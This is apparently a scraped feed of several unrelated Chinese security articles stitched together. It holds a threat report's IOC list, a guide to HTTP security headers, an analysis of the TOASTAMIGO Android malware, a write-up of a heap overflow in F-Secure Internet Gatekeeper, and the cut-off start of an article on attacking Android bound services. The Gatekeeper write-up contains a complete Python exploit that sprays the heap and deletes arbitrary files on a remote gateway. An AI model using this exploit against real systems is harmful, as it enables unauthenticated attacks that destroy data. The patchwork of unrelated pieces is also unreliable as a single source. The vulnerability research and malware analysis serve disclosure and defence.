[Logon Script (Windows) ](https://attack.mitre.org/techniques/T1037/001/
"Logon Script \(Windows\) ") | [Bypass User Account
Control](https://attack.mitre.org/techniques/T1548/002/ "Bypass User Account
Control") | [Keylogging](https://attack.mitre.org/techniques/T1056/001/
"Keylogging") | [System Information
Discovery](https://attack.mitre.org/techniques/T1082/ "System Information
Discovery") | |
| | | [Windows Service](https://attack.mitre.org/techniques/T1543/003/
"Windows Service") |
[Timestomp](https://attack.mitre.org/techniques/T1070/006/ "Timestomp") |
[Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539/ "Steal
Web Session Cookie") | [System Network Configuration
Discovery](https://attack.mitre.org/techniques/T1016/ "System Network
Configuration Discovery") | |
| | | | [Software Packing](https://attack.mitre.org/techniques/T1027/002/
"Software Packing") | | [Virtualization/Sandbox
Evasion](https://attack.mitre.org/techniques/T1497/ "Virtualization/Sandbox
Evasion") | |
### IOC
**URLs:**
http://csv.posadadesantiago[.]com/home?act=news&id=[Machine_name]
http://csv.posadadesantiago[.]com/home?id=[Machine_name]&act=upf&ver=x64
http://csv.posadadesantiago[.]com/home?id=[Machine_name]&act=tre&ver=x64
http://csv.posadadesantiago[.]com/home?id=[Machine_name]&act=wbi&ver=x64
http://csv.posadadesantiago[.]com/home?id=[Machine_name]&act=cmd&ver=x64
http://csv.posadadesantiago[.]com/home?id=[Machine_name]&act=pws&ver=x64
http://csv.posadadesantiago[.]com/home?id=[Machine_name]&act=sbk&ver=x64
http://csv.posadadesantiago[.]com/home/up.php?id=[Machine_name]
http://myaccounts.posadadesantiago[.]com/test/Update.php?wShell=201
http://wave.posadadesantiago[.]com/home/dwn.php?van=10860
http://wave.posadadesantiago[.]com/home/dwn.php?van=101
http://wave.posadadesantiago[.]com/home/dwn.php?van=102
**Domains**
csv.posadadesantiago[.]com
wave.posadadesantiago[.]com
myaccounts.posadadesantiago[.]com
www.eventosatitlan[.]com
**IPs**
173.205.125.124（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=173.205.125.124
"ZoomEye搜索结果")）
Malicious Documents
97d4898c4e70335f0adbbace34593236cb84e849592e5971a797554d3605d323
d88c5695ccd83dce6729b84c8c43e8a804938a7ab7cfeccaa0699d6b1f81c95c
7af3930958f84e0b64f8297d1a556aab359bb65691208dc88ea4fc9698250c43
252d1b7a379f97fddd691880c1cf93eaeb2a5e5572e92a25240b75953c88736c
**KGH SPYWARE SUITE**
Bcf4113ec8e888163f1197a1dd9430a0df46b07bc21aba9c9a1494d2d07a2ba9
af13b16416760782ec81d587736cb4c9b2e7099afc10cb764eeb4c922ee8802f
E4d28fd7e0fc63429fc199c1b683340f725f0bf9834345174ff0b6a3c0b1f60e
66fc8b03bc0ab95928673e0ae7f06f34f17537caf159e178a452c2c56ba6dda7
f989d13f7d0801b32735fee018e816f3a2783a47cff0b13d70ce2f1cbc754fb9
Fa282932f1e65235dc6b7dba2b397a155a6abed9f7bd54afbc9b636d2f698b4b
65fe4cd6deed85c3e39b9c1bb7c403d0e69565c85f7cd2b612ade6968db3a85c
**CSPY Downloader**
7158099406d99db82b7dc9f6418c1189ee472ce3c25a3612a5ec5672ee282dc0
e9ea5d4e96211a28fe97ecb21b7372311a6fa87ce23db4dd118dc204820e011c
* * * | 社区文章 |
设置HTTP响应头是在浏览器层面上提高Web安全性的一种方法，相比代码层的变动要更简单方便。由于HTTP协议是一个可扩展的协议，这些内容也在不断地变化，本文会试着做一个较为全面的总结。
关于众多浏览器的对响应头的支持、兼容性问题可以在[CANIUSE网站](https://caniuse.com/)搜索了解，示例：
<https://caniuse.com/#feat=referrer-policy>
部分响应头会有很细节的点无法展开总结，可以参考文末的Web文档进一步了解。
## 响应头解读与示例
### HSTS
**HTTP严格传输安全(HTTP Strict Transport Security)**
本响应头，一言以蔽之，是为了防止非HTTPS连接带来的安全隐患。在设置`Strict-Transport-Security`响应头后，浏览器将会强制所有的HTTP请求使用HTTPS连接，且在证书错误或到期的情况下拒绝用户访问网站。
值 | 属性 | 描述
---|---|---
`max-age` | 必选 | 作用时间，单位秒
`includeSubDomains` | 可选 | 作用于所有子域名
`preload` | 可选 | 是否纳入预加载列表
需要注意的是，最后的`preload`选项添加后，域名会被部分浏览器默认启用HSTS，从而阻止所有HTTP请求连接，因此需要谨慎使用。
响应头设置示例：
Strict-Transport-Security:max-age=31536000;includeSubDomains;preload
### HPKP
由于受信任的CA可能遭受攻击(案例搜一搜有很多)，HTTP公钥固定(Public Key Pinning Extension for
HTTP)这种安全策略诞生，用于防止替换证书的中间人攻击(MITM)。
其中具体的技术实现包括证书的选择、OpenSSL生成指纹和首次使用信任(TOFU)等。但在这里我不想多总结，因为Chrome自69版本已经移除了对它的支持，有兴趣的同学可以参考[RFC7469](https://tools.ietf.org/html/rfc7469)或[MDN
Web文档](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Public_Key_Pinning)。我们大概来了解一下它就好：
值 | 属性 | 描述
---|---|---
`pin-sha256` | 必选 | base64编码的证书的公钥指纹，可添加多个
`max-age` | 必选 | 作用时间，单位秒
`includeSubdomains` | 可选 | HTTP公钥锁定是否覆盖子域
`report-uri` | 可选 | HPKP策略违规报告发送到的URL
示例：
Public-Key-Pins:
pin-sha256="d6qzRu9zOECb90Uez27xWltNsj0e1Md7GkYYkVoZWmM=";
pin-sha256="E9CZ9INDbd+2eRQozYqqbQ2yXLVKB9+xcprMF+44U1g=";
report-uri="http://0sec.com.cn/report";
max-age=10000;includeSubDomains
另外还有`Public-Key-Pins-Report-Only`头，如字面意思将只报告策略违规而不阻断连接。
### Expect-CT
用于指示浏览器或客户端验证签名证书的时间戳，是上文的HPKP标头的替代品。
值 | 属性 | 描述
---|---|---
`max-age=seconds` | 必选 | 作用时间，单位秒
`enforce` | 可选 | 强制模式，拒绝违反策略的连接
`report-uri` | 可选 | CT策略违规报告发送到的的URL
示例：
Expect-CT:max-age=86400,enforce,report-uri="http://0sec.com.cn/report"
### Referrer-Policy
显然是Referer头的安全配置策略，注意单词的拼写，请求头与响应头中的拼写是有差别的，绝了。
值 | 描述
---|---
no-referrer | 不带referer头
no-referrer-when-downgrade | 若协议降级如HTTPS到HTTP，则不会发送Referer头(默认策略)
same-origin | 同源请求才发送Referer头
strict-origin | 安全传输(如HTTPS到HTTPS)才发送Referer头
origin | Referer头为origin
origin-when-cross-origin | 同源发送完整URL，跨域发送origin
strict-origin-when-cross-origin | 安全传输(如HTTPS到HTTPS)同源发送完整URL，跨域发送origin
unsafe-url | 所有情况发送完整URL， **危** 。
示例：
Referrer-Policy: no-referrer
### Cache-Control
用于设置浏览器或代理的缓存机制，一部分指令也可以用在HTTP请求头中。
值 | 描述
---|---
`max-age` | 有效时间，单位秒
`public` | 所有内容都将缓存
`private` | 仅在客户端缓存
`no-cache` | 响应无变化时才使用缓存数据
`no-store` | 所有内容均不缓存
`must-revalidation` | 缓存失效则必须重新验证
示例：
Cache-Control:max-age=0,no-cache,no-store,must-revalidate
### Expires
设置当前请求缓存的过期时间，需要注意的是Cache-Control的max-age响应头优先级高于Expires。
为安全起见可以拒绝浏览器缓存任何内容，设置如下：
Expires:0
具体时间格式示例：
Expires:Wed, 21 Oct 2015 07:28:00 GMT
### X-Frame-Options
目的是为了减少点击劫持(Clickjacking)，最终达成的效果就是站点的`<frame>`/`<iframe>`/`<embed>`/`<object>`内容是否被展示。
有三种配置参数：
* DENY：不允许被任何页面嵌入
* SAMEORIGIN：不允许被本域以外的页面嵌入
* ALLOW-FROM uri：不允许被指定域名以外的页面嵌入
示例：
x-frame-options:SAMEORIGIN
CSP中的`frame-ancestors`选项与`x-frame-options`头有同样的作用。
### X-XSS-Protection
用于启用浏览器的XSS过滤器。
值 | 描述
---|---
0 | 禁用XSS过滤器
1 | 启用XSS过滤器
1;mode=block | 启用XSS过滤器且在检测到XSS时停止渲染页面
1;report=URL | 启用且报告
示例(也是推荐的配置方法)：
X-XSS-Protection:1,mode=block
当然了，这个XSS过滤器并不太强大，据我测试还是比较容易绕过的。
### X-Content-Type-Options
用于阻止浏览器解析与Content-Type声明不一致的内容。
> 互联网上的资源有各种类型，通常浏览器会根据响应头的Content-> Type字段来分辨它们的类型。例如："text/html"代表html文档，"image/png"是PNG图片，"text/css"是CSS样式文档。然而，有些资源的Content-> Type是错的或者未定义。这时，某些浏览器会启用MIME-sniffing来猜测该资源的类型，解析内容并执行。
>
> 例如，我们即使给一个html文档指定Content-> Type为"text/plain"，在IE8-中这个文档依然会被当做html来解析。利用浏览器的这个特性，攻击者甚至可以让原本应该解析为图片的请求被解析为JavaScript。通过下面这个响应头可以禁用浏览器的类型猜测行为：
以上解释来自[Jerry Qu](https://imququ.com/post/web-security-and-response-header.html)。这个响应头设置方法就是：
X-Content-Type-Options: nosniff
### Content-Security-Policy(CSP)
算是应用比较多的响应头，其实就是白名单策略,在[之前的文章](http://0sec.com.cn/2018-12-22/)中详细提过了，直接来看示例：
Content-Security-Policy:script-src 'self'; object-src 'none'; style-src 1.com 2.cn; child-src https
对应下方这张表来看，解释就是：
>
> 脚本只信任当前域名；标签不加载任何资源；样式表只信任`http://1.com`和`http://2.cn`；框架(frame)必须使用HTTPS协议加载;其他资源没有限制。
指令 | 示例 | 说明
---|---|---
default-src | 'self' cdn.example.com | 定义资源默认加载策略
script-src | 'self' js.example.com | 定义 JS 的加载策略
img-src | 'self' img.example.com | 定义图片的加载策略
style-src | 'self' css.example.com | 定义样式表的加载策略
font-src | font.example.com | 定义字体的加载策略、
object-src | 'self' | 定义引用资源的加载策略，如`<object> <embed><applet>`等
media-src | media.example.com | 定义音频和视频的加载策略，如 HTML5 中的`<audio><video>`
connect-src | 'self' | 定义 Ajax、WebSocket 等的加载策略
frame-src | 'self' | 定义 frame 的加载策略，不赞成使用，改用 child-src
### X-Permitted-Cross-Domain-Policies
指定客户端能够访问的跨域策略文件的类型，比如我们熟悉的crossdomain.xml就是一个跨域策略文件。
值 | 描述
---|---
none | 不允许使用策略文件
master-only | 仅允许使用主策略文件
by-content-type | 仅限HTTP(S)协议使用`Content-Type:text-/x-cross-domain-policy`提供的策略文件
by-ftp-filename | 仅限FTP协议使用`crossdomain.xml`
all | 可用目标域上所有策略文件
## 配置方法
以X-Frame-Options响应头为例，当然特定的语言、框架有对应的设置方法，这里举服务器配置的例子：
### Apache
Header [always] set X-Frame-Options "sameorigin"
### Nginx
add_header X-Frame-Options sameorigin [always];
### IIS
<system.webServer>
...
<httpProtocol>
<customHeaders>
<add name="X-Frame-Options" value="sameorigin" />
</customHeaders>
</httpProtocol>
...
</system.webServer>
### lighthttpd
setenv.add-response-header = ("X-Frame-Options" => sameorigin",)
## 配置范例
新鲜复制的。
### GitHub
Content-Security-Policy: default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: github.githubassets.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com customer-stories-feed.github.com spotlights-feed.github.com; manifest-src 'self'; media-src 'none'; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com
Expect-CT: max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"
Referrer-Policy: origin-when-cross-origin, strict-origin-when-cross-origin
Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
### Google
cache-control: private, max-age=0
expires: -1
strict-transport-security: max-age=31536000
x-frame-options: SAMEORIGIN
x-xss-protection: 0
### Twitter
cache-control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
content-security-policy: connect-src 'self' blob: https://(太多了); object-src 'none'; script-src 'self' 'unsafe-inline' https://*.twimg.com https://www.google-analytics.com https://twitter.com 'nonce-MDRlMWY3ZTMtM2E5Yi00YjQxLTk5N2UtZTVmYzI5ZjA3ZTY2'; style-src 'self' 'unsafe-inline' https://*.twimg.com; worker-src 'self' blob:; report-uri https://twitter.com/i/csp_report?a=O5RXE%3D%3D%3D&ro=false
pragma: no-cache
strict-transport-security: max-age=631138519
x-content-type-options: nosniff
x-frame-options: DENY
x-xss-protection: 0
## 设置检测工具
[Analyse your HTTP response headers](https://securityheaders.com/) 在线分析
[Check Your HTTP Security Headers](http://cyh.herokuapp.com/cyh) 在线分析
[Recx Security Analyser](https://chrome.google.com/webstore/detail/recx-security-analyser/ljafjhbjenhgcgnikniijchkngljgjda) Chrome插件
* * *
参考
* 《Web漏洞防护》 - 李建熠
* [MDN Web文档](https://developer.mozilla.org/zh-CN/)
* [HTTP安全标头及其工作原理（下）](https://zhuanlan.zhihu.com/p/57102270) | 社区文章 |
# 【技术分享】Toast Overlay攻击已被用于安卓恶软并在谷歌商店下载数十万次！
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://blog.trendmicro.com/trendlabs-security-intelligence/toast-overlay-weaponized-install-android-malware-single-attack-chain/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[Janus情报局](http://bobao.360.cn/member/contribute?uid=2954465307)
预估稿费：180RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**简介**
近期，趋势科技发现了一款新的恶意软件，这款恶意软件利用Toast
Overlay攻击，在受影响的设备上默默安装其他恶意软件——TOASTAMIGO。目前，趋势科技将这个恶意软件标记为
**ANDROIDOS_TOASTAMIGO** 。截止2017年6月，其中一个恶意应用程序已经被下载安装了50多万次，它利用Android的
**Accessibility** (辅助)功能，使其具有广告点击、应用程序安装、自我保护/持久性功能。
**Overlay攻击需要在其他运行的应用、窗口或进程上绘制和叠加Android视图(例如图像或者按钮)。** Toast
Overlay攻击的典型场景是，欺骗用户点击攻击者指定的非法的窗口或按钮。Toast
Overlay技术之前我们有[分享过](http://cloud.appscan.io/discover-detail.html?id=5907016)，利用的是 **CVE-2017-0752**
这个漏洞。“Toast”窗口(TYPE_TOAST)是Android上支持的overlay类型之一，用于显示其他应用程序的通知。
**而TOASTAMIGO是我们看到的第一款将CVE-2017-0752真正实现并应用到实战中的样本**
，这与之前很多的恶意软件一样，我们一定会看到该威胁的微调版本(以及其下载/安装的另一款恶意应用)——鉴于此时恶意软件的相对“低调”的功能——或者被其他网络犯罪分子所模仿。
**除了Android最新版本(8.0/Oreo)外，所有低版本的用户均受到该漏洞的影响，因此建议低版本设备的用户及时打补丁。**
图1 Toast Overlay攻击原理图：一个看似正常的图像(左)叠加在恶意软件触发的实际操作上，例如请求辅助功能
图2 谷歌商店上架的恶意应用
**感染链**
具有讽刺意味的是，这种恶意软件伪装成合法的应用程序，号称可以用PIN码保护设备应用安全。安装后，这些应用会通知用户，应用正常运行需要被授予辅助服务权限。当然，这些都是恶意软件的诡计，他们为了躲避Android的对抗策略，要求应用程序拥有明确的用户权限。在授权后，应用会启动一个窗口，表明可以“分析”应用程序。而在这个窗口背后，应用程序会执行操作或指令，包括安装第二个恶意应用(因为它已经拥有了权限)。
图3 恶意软件“运行时间”截图
**
**
**技术分析**
****
在谷歌商店上架前，恶意应用就已经被打包好了，如下图所示。注意，包“amigo”和包“goami”，它们都在“com”之下，这说明这两个应用都是同一个开发者开发的。
****
图4 恶意软件包结构图
当应用提示“analyzing the unprotected apps.”时，Toast
Overlay攻击已经被执行了。下面的截图展示了这个函数的代码段。实际上，这是一个TOAST-type的窗口，并在恶意软件中设置为全屏显示。
**·** v2.type值为2005表明，v2.type是TYPE_TOAST类型
**·**
v2.SystemUiVisibility值为1280，代表SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN(Activity全屏显示，但状态栏不会被隐藏覆盖，状态栏依然可见，Activity顶端布局部分会被状态遮住。)，SYSTEM_UI_FLAG_LAYOUT_STABLE(SYSTEM_UI_FLAG_LAYOUT_STABLE)
**·** v2.flags的值表示FLAG_FULLSCREEN(设置全屏)和FLAG_NOT_FOCUSABLE(不许获得焦点)
图5 应用利用Toast Overlay攻击的代码段
想要发起Overlay攻击，恶意应用首先要请求“draw on top”权限；这是Android
6.0以上版本的案例。但是如果从谷歌商店安装的话，它们就不需要请求这个权限。然而，我们发现，除了Android 8.0，Toast
Overlay攻击(反过来，使用这些技术的恶意软件)并不需要特定的权限或条件。
**执行恶意任务**
****
为了方便阅读，我们在分析应用代码的过程中对部分关键函数重新命名。函数
**doBackgroudTask.getInstance((Context)this).doTask**
后台执行某些任务，并且被设计用于绕过不同Android版本的警告弹窗。
图6 恶意软件后台任务模块代码片段(高亮显示)
在Toast窗口下，恶意软件也会执行一些其他函数，包括采取措施防止被移除：
**·** com.photos.android.helper：下载指定的Android应用安装包(APK)
**·** force_stop_MC:：强制停止移动安全应用运行
**·** bgAsprotectDialog:：准备提示弹窗，如“Unknown sources”
**·** bgAutoInstallPage_4:：利用辅助服务安装应用
**·** Accessibility:：为其他APK开启辅助功能权限
这些函数用于维护恶意软件的核心服务：
**·** bgGpAutoProtect: 防止被卸载
**·** bgAsprotectDialog and bgAsprotectPage_4: 维持辅助服务权限
下载和安装的应用被命名为com.photos.android.helper，包名为 **com.vpn.free.migovpn**
。我们将它重命名为AMIGOCLICKER
(ANDROIDOS_AMIGOCLICKER)：TOASTAMIGO的分支包含广告点击例程。AMIGOCLICKER运行后就会自动隐藏，只有在系统的辅助应用列表才能找到。
图7 AMIGOCLICKER在受感染设备的辅助应用列表中
AMIGOCLICKER可以通过注册广播接收器自动启动。它也可以由TOASTAMIGO调用AMIGOCLICKER的exported服务，如下图所示：
图8 AMIGOCLICKER的exported服务
图9 调用AMIGOCLICKER服务的代码段
AMIGOCLICKER也是被打包的，我们深入分析了exported核心服务，并得出了以下结论。它首先通过访问远程服务器获取最新的控制信息。然后，它会根据设备当前的网络连接提供一个代理，对于某些无法访问Admob和Facebook的地区来说，代理还是有效的。以下是AMIGOCLICKER的主要行为，它与TOASTAMIGO也有很多相似之处：
**·** force_stop: 强制停止移动安全应用运行
**·** open_device_manager: 打开设备管理员以防止被卸载
**·** bgDeviceDeactivate: 防止设备管理员被禁用
**·** bgGpAutoProtect: 防止应用被卸载
**·** autoUninstall_setting: 卸载指定的包
**·** bgAsprotectDialog: 保持它的辅助服务权限
**·** bgAsprotectPage_4: 保持它的辅助服务权限
**·** bgAutoCancelDialog: 点击系统警告窗口的取消按钮
**·** bgAutoUninstallOnDesktop: 点击系统警告窗口的卸载按钮
**·** bgAutoSureDialog: 当接收到指定系统窗口时点击按钮
**·** collect_gp_account: 收集受害者谷歌账户信息
**·** bg_auto_click_fb: 点击加载的Facebook广告
**·** gp_search_input_aso action1: 在谷歌商店输入和搜索
**·** gp_search_input_aso action1: 在谷歌商店为该恶意软件进行五星好评
**
**
**缓解措施**
这些恶意软件的恶意功能，结合一个相对独特的攻击向量，使它们成为可信的威胁。然而，事实上，前面所提到的功能，可以被修改为更具危害性的网络攻击。AMIGOTOAST和AMIGOCLICKER可以从远程服务器获取指令进行更新，滥用Android的辅助功能，可以做很多事情。
谷歌在今年9月份的Android安全公告中已经修复了该漏洞。用户需要及时对系统打补丁，更重要的是，要养成良好的移动安全习惯，尤其是在工作场所。然而，除了Nexus和Pixel，其他Android设备的更新都是碎片化的，因此，用户应主动联系设备的厂商，及时获取更新补丁。
**趋势科技已经向谷歌商店上报了这一问题，这些应用已经从谷歌商店下架。**
**
**
**IoCs**
可访问：
<http://cloud.appscan.io/monitor.html?id=5a0559700272380e45a7352>
<http://cloud.appscan.io/discover-detail.html?id=766860> | 社区文章 |
# F-Secure Internet Gatekeeper堆缓冲区溢出漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 doyensec，文章来源：blog.doyensec.com
原文地址：<https://blog.doyensec.com/2020/02/03/heap-exploit.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
本文介绍了我们在F-Secure Internet Gatekeeper应用中发现的一个漏洞，攻击者可利用该漏洞实现未认证远程代码执行效果。
## 0x01 环境搭建
我使用的是[CentOS](http://isoredirect.centos.org/centos/7/isos/x86_64/CentOS-7-x86_64-DVD-1908.iso)虚拟机，1个处理器核心，4GB内存。我们需要从[官网](https://www.f-secure.com/en/business/downloads/internet-gatekeeper)下载并安装[F-Secure Internet
Gatekeeper](https://help.f-secure.com/product.html?business/igk/5.40/en/concept_16E400B3FDE344EDB1F699EE9C4117DB-5.40-en)。根据我们了解，目前厂商已经下架了存在漏洞的版本。
受影响的原始安装包SHA256哈希值为：`1582aa7782f78fcf01fccfe0b59f0a26b4a972020f9da860c19c1076a79c8e26`。
安装过程如下：
1、如果使用的是x64版的CentOS，执行`yum install glibc.i686`；
2、使用`rpm -I <fsigkbin>.rpm`安装Internet Gatekeeper；
3、为了更方便调试，可以安装gdb 8+及[GEF](https://github.com/hugsy/gef)。
现在可以使用GHIDRA/IDA或者拿手的反汇编器/反编译器开始逆向分析Internet Gatekeeper。
## 0x02 漏洞分析
根据F-Secure描述，Internet Gatekeeper是“在网关级别针对企业网络的高效且易管理的防护解决方案”。
F-Secure Internet
Gatekeeper包含一个控制面板，运行在`9012/tcp`端口上。该面板可以用来控制产品中可用的所有服务及规则（HTTP代理、IMAP代理等）。控制面板通过HTTP协议访问，由`fsikgwebui`程序实现，该程序采用C语言编写。实际上整个web服务端都采用C/C++开发，其中部分引用到了`civetweb`，这表明服务端可能使用的是自定义版的[CivetWeb](https://github.com/civetweb/civetweb)。
既然服务端采用C/C++开发，我们就可以尝试寻找内存破坏漏洞，这是这种语言中经常出现的问题。
我们选择使用[Fuzzotron](https://github.com/denandz/fuzzotron)来fuzz管理面板，这是使用[Radamsa](https://gitlab.com/akihe/radamsa)作为底层引擎的fuzzer，很快我们就找到了这类漏洞。`fuzzotron`内置TCP支持，便于fuzz网络服务。在测试种子方面，我们提取了一个有效的POST请求，该请求用来更改管理面板的语言设置。未授权用户可以发起该请求，因此非常适用于作为fuzz种子。
在分析`radamsa`的输入样例时，我们可以看到该漏洞的根源与`Content-Length`头部字段有关。导致软件崩溃的测试用例头部特征为：`Content-Length:
21487483844`，这表明溢出漏洞与不正确的整数计算有关。
在`gdb`中调试测试用例后，我们发现导致崩溃的代码位于`fs_httpd_civetweb_callback_begin_request`函数中，该方法负责处理入栈连接，根据HTTP操作类型、路径或者所使用的cookie来将请求分发至相关的函数进行处理。
为了演示漏洞，我们向管理面板所在的`9012`端口发送POST请求，其中设置了巨大的一个`Content-Length`头部值：
POST /submit HTTP/1.1
Host: 192.168.0.24:9012
Content-Length: 21487483844
AAAAAAAAAAAAAAAAAAAAAAAAAAA
目标应用会解析该请求，执行`fs_httpd_get_header`函数来获取`Content-Length`值。随后，该字段值会被传递给`strtoul`（字符串转换为无符号长整型）函数进行处理。
相关控制流对应的伪代码如下所示：
content_len = fs_httpd_get_header(header_struct, "Content-Length");
if ( content_len ){
content_len_new = strtoul(content_len_old, 0, 10);
}
为了理解`strtoul`函数的处理逻辑，我们可以查看对应的`man`页面。`strtoul`的返回值类型为无符号长整型，最大值为`2^32-1`（32位系统上）。
>
> `strtoul()`函数会返回转换结果，如果输入值带有减号前缀，则返回转换结果的取反值作为无符号值。如果（非负）原始值溢出，`strtoul()`会返回`ULONG_MAX`，并将`errno`设置为`ERANGE`。整个处理逻辑与`strtoull()`相同（后者对应的是`ULLONG_MAX`）。
由于我们提供的`Content-Length`对无符号长整型来说过长，因此`strtoul`会返回`ULONG_MAX`值，32位系统上对应的是`0xFFFFFFFF`。
接着看一下漏洞逻辑。当`fs_httpd_civetweb_callback_begin_request`函数尝试执行`malloc`请求，为我们的数据分配空间时，首先会在`content_length`变量上加`1`，然后调用`malloc`。
相应的伪代码如下所示：
// fs_malloc == malloc
data_by_post_on_heap = fs_malloc(content_len_new + 1)
由于`0xFFFFFFFF + 1`会出现整数溢出，因此得到的结果值为`0x00000000`，最终`malloc`会分配大小为`0`字节的内存空间。
`malloc`的确允许我们使用`0`字节参数来调用，当调用`malloc(0)`时，函数会返回指向堆的一个有效指针，该指针指向大小最小的一个chunk（大小为`0x10`字节）。我们也可以在`man`页面中了解这一行为：
>
> `malloc()`函数会分配`size`字节大小的空间，返回指向已分配内存的一个指针，该内存区域未经初始化。如果`size`等于`0`，那么`malloc()`就会返回`NULL`或者一个有效的指针值，以便后续`free()`执行释放操作。
如果进一步分析Internet Gatekeeper的代码，可以看到其中调用了`mg_read`。
// content_len_new is without the addition of 0x1.
// so content_len_new == 0xFFFFFFFF
if(content_len_new){
int bytes_read = mg_read(header_struct, data_by_post_on_heap, content_len_new)
}
在溢出过程中，该代码会读取堆上任意数量的数据，没有任何约束条件。对于漏洞利用而言，这是非常优秀的一个利用原语，我们可以停止向HTTP流写入数据，目标软件会简单关闭连接并继续执行。在这种情况下，我们可以完全控制希望写入的字节数。
总而言之，我们可以利用`malloc`返回的`0x10`大小chunk，通过任意数据溢出来覆盖已有的内存结构。这里我们可以参考如下PoC代码，这段代码比较粗糙，利用了堆上已有的一个结构，修改标志值（`should_delete_file
= true`），然后将我们想要删除的文件完整路径喷射到堆上。Internet
Gatekeeper内部处理程序中包含一个`decontruct_http`方法，该方法会寻找该标志，执行文件删除操作。利用这一点，攻击者可以删除任意文件，这足以说明漏洞的严重程度。
from pwn import *
import time
import sys
def send_payload(payload, content_len=21487483844, nofun=False):
r = remote(sys.argv[1], 9012)
r.send("POST / HTTP/1.1\n")
r.send("Host: 192.168.0.122:9012\n")
r.send("Content-Length: {}\n".format(content_len))
r.send("\n")
r.send(payload)
if not nofun:
r.send("\n\n")
return r
def trigger_exploit():
print "Triggering exploit"
payload = ""
payload += "A" * 12 # Padding
payload += p32(0x1d) # Fast bin chunk overwrite
payload += "A"* 488 # Padding
payload += p32(0xdda00771) # Address of payload
payload += p32(0xdda00771+4) # Junk
r = send_payload(payload)
def massage_heap(filename):
print "Trying to massage the heap....."
for x in xrange(100):
payload = ""
payload += p32(0x0) # Needed to bypass checks
payload += p32(0x0) # Needed to bypass checks
payload += p32(0xdda0077d) # Points to where the filename will be in memory
payload += filename + "\x00"
payload += "C"*(0x300-len(payload))
r = send_payload(payload, content_len=0x80000, nofun=True)
r.close()
cut_conn = True
print "Heap massage done"
if __name__ == "__main__":
if len(sys.argv) != 3:
print "Usage: ./{} <victim_ip> <file_to_remove>".format(sys.argv[0])
print "Run `export PWNLIB_SILENT=1` for disabling verbose connections"
exit()
massage_heap(sys.argv[2])
time.sleep(1)
trigger_exploit()
print "Exploit finished. {} is now removed and remote process should be crashed".format(sys.argv[2])
目前漏洞利用的成功率为67~70%，并且我们的PoC依赖于前面所搭建的测试环境。
由于我们可以精准控制chunk大小，在小chunk上覆盖尽可能多数据，因此该漏洞肯定能达到RCE效果。此外，目标应用使用了多个线程，因此我们可以利用该特点进入干净的堆区域，多次尝试漏洞利用。如果大家想进一步跟我们合作，可以将RCE
PoC发送至我们的<a href=”[[email protected]](mailto:[email protected])“>邮箱。
F-Secure为该问题分配的编号为[FSC-2019-3](https://www.f-secure.com/en/business/support-and-downloads/security-advisories/fsc-2019-3)，在5.40 – 5.50 hotfix 8版的Internet
Gatekeeper（2019年7月11日发布）中修复了该漏洞。
## 0x03 参考资料
#### Linux堆溢出利用系列文章
* [Linux Heap Exploitation Intro Series: Set you free() – part 1](https://sensepost.com/blog/2018/linux-heap-exploitation-intro-series-set-you-free-part-1/)
* [Linux Heap Exploitation Intro Series: Set you free() – part 2](https://sensepost.com/blog/2018/linux-heap-exploitation-intro-series-set-you-free-part-2/)
#### GLibC背景知识
* [GLibC Malloc for Exploiters – YouTube](https://www.youtube.com/watch?v=z33CYcMf2ug)
* [Understanding the GLibC Implementation – Part 1](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
* [Understanding the GLibC Implementation – Part 2](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
#### 相关工具
* [GEF](https://github.com/hugsy/gef) – 辅助漏洞利用的GDB扩展，也能在堆漏洞利用调试中提供非常有用的一些命令。
* [Villoc](https://github.com/wapiflapi/villoc) – 通过HTML可视化表示堆布局。 | 社区文章 |
# 对安卓 Bound Services 的攻击
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://blog.thecobraden.com/2015/12/attacking-bound-services-on-android.html?m=1>
译文仅供参考，具体内容表达以及含义原文为准。
当我在探索一个新的安卓设备的时候,我经常会遇到暴露了 binder 接口的服务的情况,也就是所谓的“bound Services”。与 unbound
Services 不同,我们不能只使用 “am” 命令来与该服务进行交互;相反,我们需要创建一个安卓应用程序。即使有 bound Services
的源代码,创建一个用来连接该服务的客户端也并非易事,要是没有源码那就更加困难了。很多博客和课程都讨论了怎么创建 bound Services
,但我发现并没有文章是从攻击者的角度来讲解与 bound Services 的交互的。
在这篇文章中我将会创建一个暴露 bound Services 的应用程序,向你展示如何用该应用程序反编译后的 Smali 代码来理解 bound
Services,并发布一个自动进行 AIDL 重建的工具。本文不会深入地解释 bound Services。
用 Java创建 bound Service
首先,我们将创建一个应用程序,用 “com.jakev.boundserver” 来定义我们暴露的 bound Service。这个 bound
Service 有一个叫“exec()”的方法,接受一个字符串命令并执行,然后返回输出结果(输出结果用于调试,在你的程序中切误加入这个)。这个工程的源码(和
APK)可以从本文最后的链接中下载。
我们将分3步创建 bound Service:
•在 “AndroidManifest.xml” 中声明一个新组件
•创建安卓接口定义语言(AIDL)接口
•创建一个新的服务类,执行 “onBind()” 方法
在我们的 AndroidManifest.xml 文件中声明一个新的暴露的服务 “.ITestService”:
